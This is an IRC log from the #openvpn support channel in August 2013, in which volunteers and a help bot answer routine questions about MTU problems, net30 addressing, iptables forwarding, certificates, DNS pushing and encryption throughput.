15:56 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
15:58 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Quit: Verlassend]
16:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:09 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0/20130730113002]]
16:14 -!- ShapeShi- is now known as ShapeShifter499
16:16  * EugeneKay cries
16:17 <@EugeneKay> My laptop has been sacrificed to the beer gods.
16:23 < rob0> oh NOOOOOOOOOO! Not spilled beer!!!???
16:23 <@EugeneKay> Yup. Crimes against beermanity.
17:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
17:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:12 < takamichi> I've got a user connecting over UDP but no TCP traffic flows over the tunnel (although TCP connection is established). UDP/ICMP over the tunnel work fine. If she connects using using OpenVPN over TCP then everything works as normal. Any ideas what on earth this could be?
17:15 <+pekster> Sounds like possible MTU issues. Verify what your path-MTU is with the usual tools (ping and traceroute utilities on your platform) and you can read the manpage options to deal with MTU/frag issues by looking at --mssfix and --fragment
17:19 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 246 seconds]
17:25 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
17:46 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 248 seconds]
17:48 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
17:52 < takamichi> pekster: Thank you, I'll look right into that.
17:53 -!- epaphus [~user@201.199.62.74] has joined #openvpn
17:53 < epaphus> hello all! I just set up a openvpn server with a client. The client can connect fine... the problem is i cannot ping my endpoint which is 10.8.0.5  how can i debug this?
17:54 < epaphus> tun0 on the client has 10.8.0.1  and that ip i can ping from my client
17:54 < epaphus> tun0 on the server, i meant.
17:56 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
17:58 <+pekster> epaphus: You cannot ping the "endpoint" in a net30 setup
17:58 <+pekster> !/30
17:58 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
18:00 < epaphus> pekster, so what can i ping to know that my setup is working without redirecting my gateway
18:00 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
18:00 <+pekster> If you can ping the VPN peer, it's working
18:01 <+pekster> There's no need to redirect any traffic to confirm that the VPN itself is functional
18:01 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Client Quit]
18:01 < epaphus> pekster, by VPN peer you are saying i should ping myself which is .6 ?
18:01 <+pekster> Peer. The _other_ end
18:02 <+pekster> If your client can ping 10.8.0.1, the VPN is working
18:02 < epaphus> pekster, i cant, with lots of latency heheeh :)
18:02 < epaphus> i cant, i meant.
18:02 < epaphus> ok ill now redirect gateway to see if ic an surf. :)
18:03 <+pekster> !redirect
18:03 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:03 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
18:03 <+pekster> Next time state your goal upfront
18:03 <+pekster> !xy
18:03 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
18:05 -!- mchou_ [~quassel@unaffiliated/mchou] has joined #openvpn
18:06 -!- mchou_ [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
18:14 -!- epaphus [~user@201.199.62.74] has quit [Ping timeout: 240 seconds]
18:36 -!- tom [~tom@s5.wservices.ch] has left #openvpn []
18:44 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
18:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:20 -!- epaphus [~user@201.199.62.74] has joined #openvpn
19:29 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
19:30 < epaphus> Hello. I have my vpn fully working, unfortunately it works because i have a default FORWARD ACCEPT.. Could anybody please provide ma example of a specific iptables rule i can use to allow only what is needed so i can use a default forward deny?  I have: iptables -A FORWARD -i tun0 -o eth0 -j ACCEPT  but that didnt appear to work
19:31 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
19:31 <@EugeneKay> That should be fine, if you're actually using tun0 and eth0.
19:32 <+pekster> epaphus: You'd need to accept the return related traffic as well
19:32 <+pekster> Normally you do this through a match early in the FORWARD chain using --m conntrack
19:33 < epaphus> pekster, right, i have a statefull firewall so that should be enough.. i think
19:33 < epaphus> ah i didnt specify it for the forward!
19:34 <@EugeneKay> ;-)
19:40 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:42 -!- epaphus2 [~user@46.38.165.111] has joined #openvpn
19:43 -!- epaphus [~user@201.199.62.74] has quit [Ping timeout: 256 seconds]
20:02 -!- epaphus2 [~user@46.38.165.111] has quit [Quit: Leaving]
20:27 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
20:28 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
21:29 -!- EugeneKay [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
21:34 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vdlmlbgkvrvxtrhm] has quit [Ping timeout: 256 seconds]
21:43 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit []
21:53 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
21:53 -!- user2 [~user@ovpn.t28.net] has quit [Ping timeout: 245 seconds]
23:07 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:10 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 276 seconds]
23:21 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:24 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
23:38 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
23:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Remote host closed the connection]
23:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fwbqofrhwacmlbrx] has joined #openvpn
--- Day changed Tue Aug 20 2013
00:23 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
00:27 -!- Devastator [~devas@186.214.15.27] has joined #openvpn
00:33 -!- stackofcats [~stackofca@unaffiliated/stackofcats] has quit [Ping timeout: 248 seconds]
00:47 -!- stackofcats [~stackofca@unaffiliated/stackofcats] has joined #openvpn
00:50 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
00:55 -!- stackofcats [~stackofca@unaffiliated/stackofcats] has quit [Ping timeout: 248 seconds]
00:55 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
01:00 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
01:52 -!- stackofcats [~stackofca@unaffiliated/stackofcats] has joined #openvpn
01:53 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:09 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
02:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:15 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has quit [Ping timeout: 252 seconds]
02:16 -!- dna6a [~dna6a@93.115.84.195] has joined #openvpn
02:20 -!- dna6a [~dna6a@93.115.84.195] has quit [Ping timeout: 252 seconds]
02:23 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:26 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has joined #openvpn
02:33 -!- fields2000 [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
02:33 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Ping timeout: 248 seconds]
03:05 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
03:06 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
03:07 -!- arnotixe_ [~arno@home.inter-active.no] has joined #openvpn
03:50 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
04:16 -!- Guest48981 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
04:16 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:32 -!- mattock is now known as mattock_afk
04:47 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:02 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
05:04 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
05:05 -!- Devastator [~devas@186.214.15.27] has quit [Changing host]
05:05 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
05:24 -!- dregan [~df@unaffiliated/dregan] has joined #openvpn
05:24 < dregan> hello
05:35 -!- arnotixe_ [~arno@home.inter-active.no] has quit [Quit: Leaving]
05:42 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has joined #openvpn
05:51 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:53 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
05:54 -!- Denial [Denial@94.9.99.190] has joined #openvpn
05:54 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fwbqofrhwacmlbrx] has quit [Read error: Connection reset by peer]
05:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
05:55 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:04 -!- Guest95694 [~aegis@184.75.212.18] has quit [Ping timeout: 240 seconds]
06:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:17 -!- scanf [~x32@unaffiliated/scanf] has quit [Quit: Off]
06:24 -!- goldkatze [~nobody@188-195-0-120-dynip.superkabel.de] has joined #openvpn
06:24 -!- goldkatze [~nobody@188-195-0-120-dynip.superkabel.de] has quit [Changing host]
06:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:28 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:53 -!- df_ [~df@93.115.83.250] has joined #openvpn
06:53 < DrCode> hi all
06:53 -!- dregan [~df@unaffiliated/dregan] has quit [Ping timeout: 256 seconds]
06:53 < DrCode> I have setup openvpn server and client, all work perfect
06:53 < DrCode> but I can't ping between clients , only between client to server and backward, any idea?
06:56 -!- aegis [~aegis@184.75.213.34] has joined #openvpn
06:56 < takamichi> Is there a known up to date list of issues with v2.3.2 and Windows 8?
06:56 < DrCode> I use windows 8 , it work perfect
07:00 < Laverne> DrCode: do you have client-to-client in server.conf?
07:04 < DrCode> no
07:04 < DrCode> I need to put client-to-client push or just client-to-client?
07:08 < DrCode> I put client-to-client and mode server?
07:10 < DrCode> ok
07:10 < DrCode> it worked
07:10 < DrCode> thankyou
07:17 -!- df_ [~df@93.115.83.250] has quit [Ping timeout: 268 seconds]
07:31 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:48 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 248 seconds]
07:55 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
08:11 -!- twim [~Thunderbi@95-25-238-108.broadband.corbina.ru] has joined #openvpn
08:14 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:16 < twim> Hello! I am no native English speaker and I have one trouble with OpenVPN. I have configured server and now want to access Internet though my OpenVPN server. ping and traceroute of some site is ok, but site do not response. Sometimes curl works. How to solve this? (Linux, iOS too)
08:17 < rob0> !redirect
08:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
08:17 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
08:17 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
08:17 < rob0> The ^^ flowchart might help.
08:18 < twim> Thanks.
08:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
08:51 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
08:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:53 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has left #openvpn []
08:54 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:03 -!- twim [~Thunderbi@95-25-238-108.broadband.corbina.ru] has quit [Ping timeout: 256 seconds]
09:04 -!- twim [~Thunderbi@95-25-238-108.broadband.corbina.ru] has joined #openvpn
09:13 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:21 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:29 -!- twim [~Thunderbi@95-25-238-108.broadband.corbina.ru] has quit [Ping timeout: 240 seconds]
09:30 -!- twim [~Thunderbi@static.88-198-124-210.clients.your-server.de] has joined #openvpn
09:37 -!- twim [~Thunderbi@static.88-198-124-210.clients.your-server.de] has quit [Ping timeout: 260 seconds]
09:38 -!- twim [~Thunderbi@95-25-238-108.broadband.corbina.ru] has joined #openvpn
09:39 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 248 seconds]
09:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:43 -!- mattock_afk is now known as mattock
09:45 -!- zamba [marius@flage.org] has quit [Quit: WeeChat 0.3.8]
10:00 -!- twim [~Thunderbi@95-25-238-108.broadband.corbina.ru] has quit [Ping timeout: 260 seconds]
10:01 -!- twim [~Thunderbi@static.88-198-124-210.clients.your-server.de] has joined #openvpn
10:06 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
10:12 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has joined #openvpn
10:12 < zhulikas> hey fellas
10:13 < zhulikas> Cannot load certificate file error:0906D06C: PEM routines:PEM_read_bio:no start line: error:140AD009: SSL routines:SSL_CTX_use_certificate_file:PEM lib
10:13 < zhulikas> actually I have a .csr file
10:13 < zhulikas> not a crt
10:13 < zhulikas> what should I do with it
10:13 < zhulikas> to get an actual certificate?
10:13 <+pekster> You need an X509 certificate. The extension suggests that's a request to be signed
10:14 -!- raidz_away is now known as raidz
10:14 <+pekster> The !howto walks you through using Easy-RSA to create a valid PKI, and you can see !pki for a more basic background on how it all works
10:14 < zhulikas> hmmmm
10:14 < zhulikas> shit, this is a one time thing for me
10:14 < zhulikas> !howto
10:14 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:15 <+pekster> I'm not sure how you got that file, but the client needs its own keypair and a cert signed by the same CA that the server is using to verify clients
10:17 < zhulikas> oh, there was a mistake
10:17 < zhulikas> I was mistakenly given a csr file
10:25 -!- fluid`wrk [~fluidwrk@pat.westrope.com] has joined #openvpn
10:42 -!- lmm_ is now known as lmm
10:54 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
11:18 -!- hexmasta [~irufus@99-130-88-111.lightspeed.cicril.sbcglobal.net] has joined #openvpn
11:18 < hexmasta> !welcome
11:18 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:18 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:18 < hexmasta> !goal I would like to resolve issues with OpenVPN assigning DNS servers to clients
11:21 <+pekster> hexmasta: You may find !pushdns and !dns helpful
11:23 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jzciwegbsywtrhto] has joined #openvpn
11:36 -!- Devastatr [~devas@186.214.110.67] has joined #openvpn
11:37 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
11:38 < hexmasta> pekster? console commands?
11:38 <+pekster> No, bot commands
11:38 <+pekster> Works just like !welcome
11:38 < hexmasta> !pushdns
11:38 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
11:38 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
11:39 < hexmasta> pekster, The problem i have is in Linux/Ubuntu
11:39 < hexmasta> And from what it seems is that I have to have the clients run that script
11:40 < hexmasta> which is.... :-\
11:40 <+pekster> Correct. All OpenVPN does is expose that "the server has supplied additional DHCP information" on connect. It's up to the client end to decide if/what it wants to do with that
11:41 <+pekster> The problem is that not all Linux clients are the same; some use resolv.conf directly, some (like Ubuntu) have a very complicated local setup involving a local forward-only DNS resolver running dnsmasq so that resolv.conf points to a secondary loopback IP
11:42 <+pekster> OpenVPN does not know all the possible ways one may have configured DNS, and thus leaves it in your more capable hands to determine what is appropriate for your specific client needs
11:44 < fluid`wrk> i hate linux and it's retarded dns configs
11:44 < fluid`wrk> SO STUPI
11:44 < rob0> heh
11:45 <+pekster> Makes more sense than Windows, at least. I had a lovely time learning how the "Global DNS Search Suffix" gets populate (or, more accurately, fails to get updated in certain conditions)
11:45 < fluid`wrk> easy peasy amirite
11:45 <+pekster> Not really. You need to change an arbitrary setting on "any" involved interface, and that "forces" the list to be re-computed. This thing is you don't need to change a value, so setting one to the same setting does this
11:47 <+pekster> Plenty of hacks to some of this exists, including doing silly things like "Stopping the DNS Cache service" or other tricks. It's doing the same thing (kind of) in a far more invasive way. Windows is a filthy platform.
11:48 < fluid`wrk> filthy animal
11:52 -!- twim [~Thunderbi@static.88-198-124-210.clients.your-server.de] has left #openvpn []
11:59 -!- REdOG [~REdOG@12.208.129.98] has quit [Ping timeout: 268 seconds]
12:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 276 seconds]
12:31 -!- master_of_master [~master_of@p4FD7B8D3.dip0.t-ipconnect.de] has joined #openvpn
12:32 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:34 -!- master_o1_master [~master_of@p4FF24195.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
12:46 < fluid`wrk> what hardware do you guys like that has decent openvpn throughput and is cheap
12:47 < EugeneKay> AES-enabled Xeons work good.
12:47 < fluid`wrk> i imagine so
12:47 < EugeneKay> Or I think the extension is enabled in i3s nowadays too
12:47 < EugeneKay> !gigabit
12:48 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
12:48 < EugeneKay> Or do you mean like, integrated "routers" ?
12:48 < fluid`wrk> like not complete systems
12:48 < fluid`wrk> more like, raspberry pi
12:48 < fluid`wrk> small stuff
12:48 < fluid`wrk> appliance-like
12:48 < EugeneKay> Yea, those.
12:49  * EugeneKay shrugs
12:51 < havoc> EugeneKay: I'm reading that thing now, very interesting
12:51 < fluid`wrk> i have a 3570k and it doesn't even get close
12:52 <+pekster> If you want to use hardware-acceleration, you need hardware support for it and software (kernel+userland) that can take advantage of it
12:52 <+pekster> f.eg, for OpenWRT benchmarks, see http://wiki.openwrt.org/inbox/benchmark.openssl
12:53 -!- hednod [exile@wintermute.probsd.net] has quit [Ping timeout: 276 seconds]
12:53 <+pekster> Some of the aes-ni stuff is so-noted in the tables, and you can clearly see the increased processing abilities with aes on those
12:55 < fluid`wrk> this chart has a lot of numbers
12:56 < fluid`wrk> is bogomips what im looking for
12:58 <+pekster> No, AES values, presumably
12:58 <+pekster> aes-ni naturally only works for AES
12:59 < fluid`wrk> xeon wow
13:02 <+pekster> Note in that thable that the AMD FX-6100 out-performs the Xeon by a factor of 3-4 due to hw-crypto
13:03 <+pekster> Similar CPU specs, but offloading the load-intensive parts is what aes-ni is all about
13:03 < fluid`wrk> yeah
13:03 < fluid`wrk> is there any way to test VPN speed internally
13:04 < fluid`wrk> leaving the external connection outside of the loop
13:04 < fluid`wrk> er, equation
13:04 <+pekster> Set 2 clients up locally. You can't do what you want on a single piece of hardware as it would both be encrypting _and_ decrypting the data (giving  you smaller results as both cost processing time)
13:05 < fluid`wrk> im getting gigE network connection soon
13:05 < fluid`wrk> want to be able to openvpn to it with at least a decent speed
13:06 < fluid`wrk> have a 3570k with AES instruction running OpenVPN access server in a VM
13:06 < fluid`wrk> hopefully it moves OK
13:15 -!- Denial [Denial@94.9.99.190] has quit []
13:17 -!- hednod [exile@wintermute.probsd.net] has joined #openvpn
13:25 -!- Devastatr [~devas@186.214.110.67] has quit [Changing host]
13:25 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
13:25 -!- Devastatr is now known as Devastator
14:11 < wiak> would think amd ones are cheap and have better aes support in the realy cheap cpu category..
14:11 < wiak> ^^
14:12 < MorgyN> pekster: does the openssl test thing give you anything you can use?
14:12 <+pekster> MorgyN: Yes. The page I linked uses it
14:13 < MorgyN> ahh ok
14:13 <+pekster> You can specifically test aes crypto speeds (or any other openssl-supported cipher.) run `openssl speed -` for usage details
14:15 < fluid`wrk> ok
14:15 < fluid`wrk> have an example
14:16 < fluid`wrk> openvpn uses blowfish
14:17 < fluid`wrk> gave me a bunch of numbers
14:19 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has quit [Ping timeout: 264 seconds]
14:33 -!- dt [~david.tho@24.137.192.78] has joined #openvpn
14:33 < dt> afternoon
14:34 < dt> i'm trying to create a script for client-disconnect
14:34 < dt> where do i put it in openvpn access server?
14:34 < rob0> !as
14:34 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
14:34 < dt> ok thanks
14:51 -!- troj_ [~xxx@2001:470:1f15:107a::50f7] has quit [Quit: :(]
14:52 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
15:04 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
15:20 -!- fluid`wrk [~fluidwrk@pat.westrope.com] has left #openvpn []
15:42 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
15:50 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:06 < dvl> ecrist: success with learn-address
16:07 < dvl> pekster: IIRC, it was your suggestion of dyndys that prompted this exercise.
16:07 < dvl> ..dyndns...
16:09 < dvl> and with that, Bacula just works, from wherever I am connected.
16:15 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
16:20 -!- dt [~david.tho@24.137.192.78] has left #openvpn ["Leaving"]
16:21 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has joined #openvpn
16:41 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
16:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:03 -!- kantlive- [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 268 seconds]
17:10 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
17:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:28 -!- theY4Kman [~Chaz@199-193-113-145.static.hvvc.us] has joined #openvpn
17:29 < theY4Kman> I'm looking to limit a client to certain IPs in an auth plugin on my OpenVPN Access Server. Is this possible?
17:36 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Operation timed out]
17:50 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:58 -!- hexmasta [~irufus@99-130-88-111.lightspeed.cicril.sbcglobal.net] has quit [Quit: Leaving]
18:11 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Quit: Lost terminal]
18:11 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
18:16 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
18:18 -!- brandon1 [~brandon@ip98-167-201-220.ph.ph.cox.net] has joined #openvpn
18:21 -!- darknyan_ [~darknyan@2a00:1630:2:f00::cafb:9c1] has quit [Remote host closed the connection]
18:25 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
18:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:28 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
18:39 < brandon1> Hey guys I have setup openVPN following the Debian wiki instructions here "https://wiki.debian.org/OpenVPN" for the TLS-ENABLED VPN and I am able to connect using the command line (at least it appears so) but when I try to use network manager openVPN it says unable to connect (I am able to connect this way to other openVPN setups though) the dameon log shows this http://pastebin.com/ZQAW7rae Any idea on what
18:39 < brandon1> I am doing wrong?
18:49 < MacGyver> "You're using network manager", but that's not very helpful so I'll look at the daemon log.
18:52 < MacGyver> My guess, but mind that it's only a guess since I don't use network manager, is that it's missing the local configuration for ifconfig (the warning on line 11), therefore it's unable to configure the tun0 interface (line 16), this failure is considered critical by NetworkManager and therefore it removes tun0.
18:53 < MacGyver> My guess would be that adding an ifconfig-line in the local configuration for NetworkManager solves it.
18:53 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:55 < brandon1> MacGyver: this netowrk manager to clarify https://projects.gnome.org/NetworkManager/
18:55 <@vpnHelper> Title: NetworkManager - Linux Networking made Easy (at projects.gnome.org)
18:55 < brandon1> and yea I will take a look
18:55 < MacGyver> Yeah, I know which NetworkManager.
18:55 < MacGyver> !ubuntu
18:55 <@vpnHelper> "ubuntu" is dont use network manager!
18:55 < brandon1> usually you just setup through the wizard and it has no problems with openVPN
18:55 < brandon1> not using ubuntu
18:56 < MacGyver> But it's *that* NM, right? :P
18:56 < brandon1> so I feel like I set something wrong with the openVPN setup I did
18:56 < brandon1> maybe >.>
18:56 < MacGyver> There's a reason for that factoid which doesn't have much to do with ubuntu and everything with NM.
18:56 < brandon1> lol
18:56 < MacGyver> Anyway, I'm not sure how you'd actually add the ifconfig-directive locally.
18:56 < MacGyver> But judging by that log I'd say that's the problem.
18:59 < brandon1> I see
19:01 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
19:03 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Ping timeout: 256 seconds]
19:15 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
19:16 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:25 -!- brandon1 [~brandon@ip98-167-201-220.ph.ph.cox.net] has quit [Quit: WeeChat 0.3.8]
19:32 <+pekster> MacGyver:
19:32 <+pekster> !guide
19:32 <+pekster> Erm,
19:32 <+pekster> !howto
19:32 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:33 < MacGyver> pekster: Does that howto also cover networkmanager nowadays?
19:34 <+pekster> No. If you want support for networkmakager, find a channel that deal with network manager development
19:35 <+pekster> #openvpn supports OpenVPN code, not other frontends
19:35 <+pekster> !gui
19:35 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
19:36 <+pekster> To get support here you generally need to post your !configs and !logs from both ends of the connection (logs at verb 4 is generally a good place to start, see !verb) and a description of your !goal and problem. Complex issues may require !interface output too
